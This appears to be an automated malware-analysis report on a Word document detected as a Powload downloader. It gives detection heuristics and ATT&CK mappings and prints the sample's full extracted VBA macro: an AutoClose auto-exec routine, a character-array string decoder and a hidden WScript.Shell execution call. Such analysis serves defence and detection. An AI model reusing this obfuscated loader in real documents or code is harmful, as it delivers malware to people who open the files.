MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate
The sample is a malicious OOXML document containing a VBA macro. The macro utilizes WScript.Shell and Shell() calls, indicating an attempt to execute arbitrary code. The presence of an obfuscated auto-exec loader and the ClamAV detection 'Doc.Downloader.Powload-6707242-0' strongly suggest that the macro's purpose is to download and execute a second-stage payload, likely using PowerShell.
Heuristics 8
-
ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
gentry = "WScript.Shell" sphere = DateDiff("s", #1/1/1970#, Now()) -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Application.Run "kurdish", paleoalchemical -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
If blanketlike - sphere > 1 Then CreateObject(Trim(gentry)).Run hemase, 0 sheppey = False -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() foregleam = Array("N", "T", "L", "7", "h", "t", "4", "0", "4", "a", "L", "7", "7", "D", "i", "3", "3", "N", "M", "h", "k", "6", "T", "7", "h", "T", "6", "T", "J", "L", "o", "J", "6", "r", "M", "6", "N", "s", "J", "4", "t", "1", "6", "N", "3", "C", "u", "O", "3", "7", "4", "M", "0", "t", "D", "L", "D", "Q", "o", "7", "N", "h", "z", "Y", "h", "Y", "4", "7", "n") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2123 bytes |
SHA-256: 8995fa8f1ebc49693b5bbe8e17f4ff3d1ab7338cf267695177dff030ab70767f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function warthog(foregleam)
loverhood = Array("C", "N", "a", "6", "7", "z", "u", "Q", "1", "M", "i", "t", "O", "Y", "r", "3", "J", "k", "h", "4", "D", "s", "T", "n", "o", "0", "L")
suitors = Array("A", "m", " ", "o", "t", "=", "N", "?", "c", "r", ":", ".", "Y", "b", "g", "/", "i", "z", "a", "e", "p", "n", "s", "k", "u", "x", "h")
confessionalian = vbNullString
For Each adenohypersthenia In foregleam
placochromatic = tettigidae(adenohypersthenia, loverhood, UBound(loverhood))
If placochromatic > -1 Then
confessionalian = suitors(placochromatic) & confessionalian
End If
Next
warthog = StrReverse(confessionalian)
End Function
Public Function tettigidae(anew, standfast, hawks)
joust = 5553
redemptor = 772
For joust = 0 To hawks
If standfast(joust) = anew And joust > -1 Then
redemptor = joust
End If
Next
If redemptor = 772 Then
redemptor = -1
End If
tettigidae = redemptor
End Function
Sub AutoClose()
foregleam = Array("N", "T", "L", "7", "h", "t", "4", "0", "4", "a", "L", "7", "7", "D", "i", "3", "3", "N", "M", "h", "k", "6", "T", "7", "h", "T", "6", "T", "J", "L", "o", "J", "6", "r", "M", "6", "N", "s", "J", "4", "t", "1", "6", "N", "3", "C", "u", "O", "3", "7", "4", "M", "0", "t", "D", "L", "D", "Q", "o", "7", "N", "h", "z", "Y", "h", "Y", "4", "7", "n")
paleoalchemical = warthog(foregleam)
Application.Run "kurdish", paleoalchemical
End Sub
Private Sub kurdish(hemase)
gentry = "WScript.Shell"
sphere = DateDiff("s", #1/1/1970#, Now())
sheppey = True
While sheppey
blanketlike = sphere + 60
If blanketlike - sphere > 1 Then
CreateObject(Trim(gentry)).Run hemase, 0
sheppey = False
End If
Wend
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: 19bb5612b50b3482fc3cfaa040039cf0579cbb3f71e84f445ed28634a7496105 |
|||
|
Detection
ClamAV:
Doc.Downloader.Powload-6707242-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.